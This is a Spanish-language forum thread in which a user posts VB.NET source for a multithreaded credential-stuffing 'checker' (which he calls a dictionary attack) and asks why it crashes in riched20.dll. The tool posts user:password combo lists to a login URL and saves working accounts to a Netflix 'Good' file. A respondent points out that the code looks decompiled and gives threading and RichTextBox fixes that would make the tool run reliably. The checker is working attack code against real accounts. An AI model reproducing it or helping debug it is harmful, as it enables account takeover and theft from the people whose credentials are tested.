esto es un diccionary attack pero despues de un rato de funcionar por ejemplo llega a la cuenta 76000 se crasea y me dice que fault riched20.dll ,les agradeceria mucho que me pudieran apoyar en este error
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text.RegularExpressions
Imports System.Threading
Imports xNet
Public Class Form1
Private dragging As Boolean
Private offset As Point
Dim date1 As String
Public int_0 As Integer
Public int_1 As Integer
Public int_2 As Integer
Public int_3 As Integer
Public int_4 As Integer
Public int_5 As Integer
Public int_6 As Integer
Public int_7 As Integer
Public object_0 As Object = New Object
Private point_0 As Point
' Public proxyType_0 As ProxyType
Public queue_0 As Queue
Public random_0 As Random = New Random
Public string_0 As String()
Public string_1 As String()
Public string_2 As String() = New String(0 - 1) {}
Public string_3 As String() = New String(0 - 1) {}
Private string_5 As String = ""
Public thread_0 As Thread()
Private Declare Function CoInternetSetFeatureEnabled Lib "urlmon.dll" (int_8 As Integer, <MarshalAs(UnmanagedType.U4)> int_9 As Integer, bool_0 As Boolean) As <MarshalAs(UnmanagedType.[Error])> Integer
Private Declare Function CreateRoundRectRgn Lib "Gdi32.dll" (int_8 As Integer, int_9 As Integer, int_10 As Integer, int_11 As Integer, int_12 As Integer, int_13 As Integer) As IntPtr
Private testfile As String = Application.StartupPath & "\Netflix\Good" + "_" & DateTime.Now.ToString("M-d-yyyy_h-m") + ".txt"
Public Sub New()
Me.InitializeComponent()
Control.CheckForIllegalCrossThreadCalls = False
' Me.text_proxyType.SelectedIndex = 0
Me.NumericUpDown1.Value = 100
RichTextBox1.SelectionAlignment = HorizontalAlignment.Center
End Sub
Private Sub Panel1_MouseDown(sender As Object, e As MouseEventArgs) Handles Panel1.MouseDown
Me.dragging = True
Me.offset = e.Location
End Sub
Private Sub Panel1_MouseMove(sender As Object, e As MouseEventArgs) Handles Panel1.MouseMove
If Me.dragging Then
Dim point As Point = MyBase.PointToScreen(e.Location)
MyBase.Location = New Point((point.X - Me.offset.X), (point.Y - Me.offset.Y))
Cursor.Current = Cursors.NoMove2D
End If
End Sub
Private Sub Panel1_MouseUp(sender As Object, e As MouseEventArgs) Handles Panel1.MouseUp
Me.dragging = False
End Sub
Protected Overrides ReadOnly Property CreateParams() As CreateParams
Get
Dim CP As CreateParams = MyBase.CreateParams
CP.Style = &HA0000
Return CP
End Get
End Property
Private Sub Label1_Click(sender As Object, e As EventArgs) Handles Label1.Click
End
End Sub
Private Sub Label2_Click(sender As Object, e As EventArgs) Handles Label2.Click
WindowState = FormWindowState.Minimized
End Sub
Private Sub Label10_Click(sender As Object, e As EventArgs) Handles Label10.Click
MsgBox("aft", vbInformation, "Dz All Checkers 1.0")
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
Using dialog As OpenFileDialog = New OpenFileDialog
dialog.Filter = "Text files | * .txt"
If (dialog.ShowDialog = DialogResult.OK) Then
Me.string_1 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllLines(dialog.FileName)))
Me.int_1 = Me.string_1.Length
Me.MetroLabel_1554.Text = Me.int_1.ToString
End If
End Using
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Using dialog As OpenFileDialog = New OpenFileDialog
dialog.Filter = "Text files | * .txt"
If (dialog.ShowDialog = DialogResult.OK) Then
Me.string_0 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllText(dialog.FileName).Replace(";", ":").Split(New Char() {ChrW(10)})))
Me.int_0 = Me.string_0.Length
Me.int_6 = Me.int_0
Me.MetroLabel_1555.Text = Me.int_0.ToString
End If
End Using
End Sub
Public Sub method_5()
' Dim proxyAddress As String = Me.string_1(Me.random_0.[Next](0, Me.int_1))
While Me.queue_0.Count > 0
Dim obj As Object = Me.object_0
Dim flag As Boolean = False
Dim obj2 As Object
Dim text As String
Try
Dim expr_29 As Object = obj
obj2 = expr_29
Monitor.Enter(expr_29, flag)
Try
text = Me.queue_0.Peek().ToString().TrimEnd(New Char() {vbCr}).Trim()
Me.queue_0.Dequeue()
Catch ex As Exception
End Try
Finally
If flag Then
Monitor.[Exit](obj2)
End If
End Try
Dim array As String() = text.Split(New Char() {":"c})
Try
Using httpRequest As HttpRequest = New HttpRequest()
' httpRequest.Proxy = ProxyClient.Parse(Me.proxyType_0, proxyAddress)
Dim cookies As CookieDictionary = New CookieDictionary(False)
httpRequest.Cookies = cookies
httpRequest.IgnoreProtocolErrors = True
httpRequest.ConnectTimeout = TextBox6.Text '25000
httpRequest.AllowAutoRedirect = True
httpRequest.KeepAlive = True
httpRequest.UserAgent = Http.ChromeUserAgent()
httpRequest.Referer = TextBox2.Text
httpRequest.KeepAliveTimeout = TextBox7.Text
'
'Dim string_ As String =httpRequest.[Get]("http://www..org/index.php/account/login").ToString()
Dim string_ As String = httpRequest.Post(TextBox2.Text).ToString()
' Dim value As String = Form1.smethod_0(string_, "data-reactid=""36""/><input type=""hidden"" name=""authURL"" value=""", """ data-reactid")
httpRequest.AddParam(TextBox4.Text, array(0))
httpRequest.AddParam(TextBox5.Text, array(1))
Dim text2 As String = httpRequest.Post(TextBox2.Text).ToString()
RichTextBox2.Text = text2
If text2.Contains(TextBox3.Text) Then
Dim str As String
If text2.Contains(TextBox3.Text) Then
str = "cuenta"
Else
str = "_"
End If
obj = Me.object_0
Dim flag2 As Boolean = False
Try
Dim expr_222 As Object = obj
obj2 = expr_222
Monitor.Enter(expr_222, flag2)
System.Array.Resize(Of String)(Me.string_2, Me.int_2 + 1)
Me.string_2(Me.int_2) = "---------------------Account---------------------" & vbNewLine & text & vbNewLine + "Subscription = " + str & vbNewLine
Me.int_2 += 1
Me.int_5 += 1
Me.int_6 -= 1
Continue While
Finally
If flag2 Then
Monitor.[Exit](obj2)
End If
End Try
End If
obj = Me.object_0
Dim flag3 As Boolean = False
Try
Dim expr_29E As Object = obj
obj2 = expr_29E
Monitor.Enter(expr_29E, flag3)
Me.int_3 += 1
Finally
If flag3 Then
Monitor.[Exit](obj2)
End If
End Try
Me.int_5 += 1
Me.int_6 -= 1
End Using
Catch
Me.int_7 += 1
Me.queue_0.Enqueue(text)
' proxyAddress = Me.string_1(Me.random_0.[Next](0, Me.int_1))
End Try
End While
If Me.int_5 = Me.int_0 Then
Me.method_6()
End If
End Sub
Public Sub method_6()
For i As Integer = 0 To Me.int_4 - 1
Me.thread_0(i) = New Thread(New ThreadStart(AddressOf Me.method_5))
Me.thread_0(i).IsBackground = True
Me.thread_0(i).Abort()
Next
End Sub
Public Shared Function smethod_0(ByVal string_6 As String, ByVal string_7 As String, ByVal string_8 As String) As String
On Error Resume Next
Return Regex.Match(string_6, (string_7 & "(.*?)" & string_8)).Groups.Item(1).Value
End Function
Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged
Dim num As Integer = 100
Try
num = Integer.Parse(Me.TextBox1.Text)
Catch obj1 As Exception
End Try
Me.NumericUpDown1.Value = num
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Me.MetroLabel_1558.Text = Me.int_2.ToString
Me.MetroLabel_1556.Text = Me.int_3.ToString
Me.Label9.Text = Me.int_5.ToString
' Me.Label9.Text = Me.int_7.ToString
If (Me.int_2 <> Enumerable.Count(Of String)(Me.RichTextBox1.Lines)) Then
Me.RichTextBox1.Lines = Me.string_2
End If
End Sub
Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
Try
Directory.CreateDirectory(String.Concat("Netflix\"))
If Me.int_0 = 0 Then
MessageBox.Show("Load Accounts.")
' ElseIf Me.int_1 = 0 Then
' MessageBox.Show("Load Proxies.")
Else
' Select Case Me.text_proxyType.SelectedIndex
' Case 0
'Me.proxyType_0 = ProxyType.Http
'Case 1
'Me.proxyType_0 = ProxyType.Socks4
'Case 2
'Me.proxyType_0 = ProxyType.Socks5
'Case Else
'MessageBox.Show("Choose Proxy type")
'Return
'End Select
Me.int_2 = 0
Me.int_3 = 0
Me.string_2 = Nothing
Me.string_3 = Nothing
Me.int_5 = 0
Me.int_7 = 0
Me.int_6 = Me.int_0
Me.queue_0 = New Queue()
For i As Integer = 0 To Me.int_0 - 1
Me.queue_0.Enqueue(Me.string_0(i))
Next
Me.int_4 = Convert.ToInt32(Me.NumericUpDown1.Value)
Me.thread_0 = New Thread(Me.int_4 - 1) {}
For j As Integer = 0 To Me.int_4 - 1
Me.thread_0(j) = New Thread(New ThreadStart(AddressOf Me.method_5))
Me.thread_0(j).IsBackground = True
Me.thread_0(j).Start()
Next
Me.Timer1.Enabled = True
End If
Catch ex As Exception
End Try
End Sub
Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged
Try
RichTextBox1.SaveFile(testfile, RichTextBoxStreamType.PlainText)
Catch ex As Exception
End Try
End Sub
Private Sub Label15_Click(sender As Object, e As EventArgs) Handles Label15.Click, Label16.Click
End Sub
End Class
Hola.
Mejor si compartes el proyecto de Visual Studio y das unas indicaciones previas para poder reproducir el error, y entonces poder depurarlo por nuestra parte. De todas formas, el archivo
riched20.dll hace referencia al control win32 Rich Text Edit, por lo tanto el error que tengas está relacionado directamente con la manipulación del control
RichTextBox1 o
RichTextBox2 en tu código fuente.
Sin ánimo de ofender, ya que no se si el código fuente lo has desarrollado por ti mismo o lo has cogido de Internet, pero ese código fuente está hecho un estropicio de inicio a fin
, lo que me hace pensar que es el típico código compartido en algún foro random de Internet, pues hay una infinidad de malos hábitos de programación aplicados en él, y verdaderamente es un
código espaghetti que no hay por donde cogerlo, pero te diré un par de cosas fundamentales al respecto...
EDITO: ahora que me fijo mejor, dado que las nomenclaturas no tienen ningún sentido y estas siguen una ordenación con sufijo numérico empezando por las variables locales y siguiendo en las nomenclaturas de los parámetros de las declaraciones de funciones nativas de la API de Windows (funciones que por cierto nunca usas en ese código), así que está claro que ese código fuente es el resultado generado por algún desofuscador/descompilador, y esto me hace arrepentirme bastante de haber señalado tantas recomendaciones aquí abajo tomandome el tiempo para escribirlo todo, ya que probablemente no tomes en serio ninguna de ellas si lo tuyo es copiar y pegar códigos y hacer las cosas sin aprender como hacerlas. No te lo tomes a mal pero es lo que pienso e intuyo, y siempre digo lo que pienso aunque me pese...
1.Cualquier código que escribas siempre va a ser propenso a producir errores en un entorno
multi-threading mientras sigas desactivando el valor de la siguiente propiedad:
CitarControl.CheckForIllegalCrossThreadCalls = False
No creas que desactivar el valor de esa propiedad te asegura en el 100% de los casos el poder manipular controles en el thread de la UI desde un thread distinto al que fue creado. No descartes que esto pueda ser el causante del error que tienes. De hecho, desactivar esta propiedad puede obstaculizar la averiguación de la causa del error, más allá de las excepciones de tipo
InvalidOperationException que son suprimidas al desactivar dicha propiedad.
Yo te diría de reescribir todo el código fuente que tienes de principio a fin, desde cero y haciendo las cosas bien, pero bueno, si eso te parece demasiado esfuerzo y no sabes demasiado bien como hacerlo, entonces lo primero que deberías hacer es eliminar esa linea de código, y no la usas jamás en ningún otro proyecto. En su lugar debes aplicar técnicas habituales de programación
multi-threading, sin ir más lejos deberías usar la clase
BackgroundWorker ya que está pensada precisamente para simplificar la manipulación de los controles del thread de la UI, y aparte de poder reportar un porcentaje de progreso, lo cual también puedes aprovechar al tratarse de un "ataque de diccionario"... donde debería haber un progreso implícito. En su defecto y si lo prefieres, simplemente puedes hacer llamadas individuales al método
Control.Invoke() /
Control.BeginInvoke() cuando necesites actualizar la propiedad de "X" control en el thread de la UI desde un thread distinto al que fue creado.
2.La clase
Thread no es conveniente usarla en este escenario, como ya he mencionado en el punto anterior deberías utilizar la clase
BackgroundWorker, ya que por un lado te permitiría simplificar y perfeccionar el algoritmo, y por el otro manipular de forma segura los controles
RichTextBox.
3.Esto que haces aquí en principio es un despropósito:
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
If (Me.int_2 <> Enumerable.Count(Of String)(Me.RichTextBox1.Lines)) Then
Me.RichTextBox1.Lines = Me.string_2
End If
End Sub
...
Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged
Try
RichTextBox1.SaveFile(testfile, RichTextBoxStreamType.PlainText)
Catch ex As Exception
End Try
End Sub
Y digo "en principio" por que no puedo saber cual será el intervalo del objeto
Timer1, ya que está especificado en el diseñador del form, es decir, en la clase del código autogenerado por Visual Studio y no en el código fuente de la clase que has mostrado, pero si no has cambiado el intervalo por defecto entonces serán 100 millisegundos. Bien, el caso es que a cada rato, presuntamente cada 100 ms estás modificando el contenido del
RichTextBox1 mediante ese
Timer, y seguidamente escribiendo / reemplazando el contenido de un archivo local cuyo contenido cada vez será mayor... cualquier alternativa sería más conveniente para evitar ese tipo de tarea intensiva de lectura y escritura en disco.
Por cierto, lo que haces en ese controlador del evento
Timer1.Tick podría ser otra posible causa del error que tienes. Si dices que el error se produce al llegar a cierta "cuenta", y con ello implica llegar a cierta cantidad de lineas, y además el archivo
riched20.dll se ve afectado de alguna manera, pues parece blanco y en botella. Ten en cuenta que no puedes rebasar el límite máximo de caracteres de un
RichTextBox (
Integer.MaxValue).
Aparte, ese trabajo computacional que haces en el controlador del evento
Timer1.Tick, presuntamente cada 100 ms (insisto) al obtener el array con las lineas del
RichTextBox, contar la cantidad de lineas, y luego reasignar todas las lineas de texto del control... cuanto mayor longitud tenga el array de lineas, mayor tiempo de ejecución necesitarás para contar la longitud del array y para la reasignación del mismo... lo que quiero decir es que al tratarse de un típico algoritmo de fuerza bruta seguramente llegará un momento en el que haya una ingente cantidad de lineas, y el rendimiento de tu aplicación se verá mermada por todo lo que haces en ese método.
Lo primero, deberías usar la propiedad
Array.Length (
RichTxtBox.Lines.Length en lugar de
RichTxtBox.Lines.Count), pero lo cierto es que en lugar de eso podrías llevar la cuenta de la cantidad de lineas actuales del
RichTextBox incrementando el valor de una variable de tipo Integer, por ejemplo, y así aumentarías bastante más el rendimiento. Y lo de reasignar las lineas sencillamente no me he fijado lo suficiente para deducir por que haces eso, pero en principio no estaría bien hacerlo así, y no deberías tener problemas para añadir texto/una linea más usando el método
RichTextBox.AppendText() en su lugar.
De todas formas, ¿por qué usas un
RichTextBox?. No estás dándole formato enriquecido al texto, por ende estás usando un
RichTextBox de forma inutil, me refiero, en vano, de forma desaprovechada. Deberías usar un control
TextBox (en modo multi-linea) en su lugar, el cual es más liviano. Y no te olvides de incrementar el valor de la propiedad
TextBox.MaxLength si te resulta necesario, ya que es relativamente corto en comparación (
Short.MaxValue).
Ahora, y suponiendo que ese
RichTextBox solo lo utilices con el fin de mostrar las palabras ya usadas en el ataque de fuerza bruta, yo lo veo totalmente innecesario por el impacto negativo en el rendimiento que esto causaría, así que en lugar de un
TextBox o
RichTextBox yo mostraría solamente la última palabra usada y mediante un control de tipo
Label (por ejemplo).
No se si habrás llegado a leer todo el texto, ya que he escrito bastante, pero en resumen te he indicado dos posibles causas al error que estás sufriendo, y diferentes recomendaciones para tratar de evitarlo y también para mejorar ciertos aspectos del código y el rendimiento de la aplicación en general.
Saludos.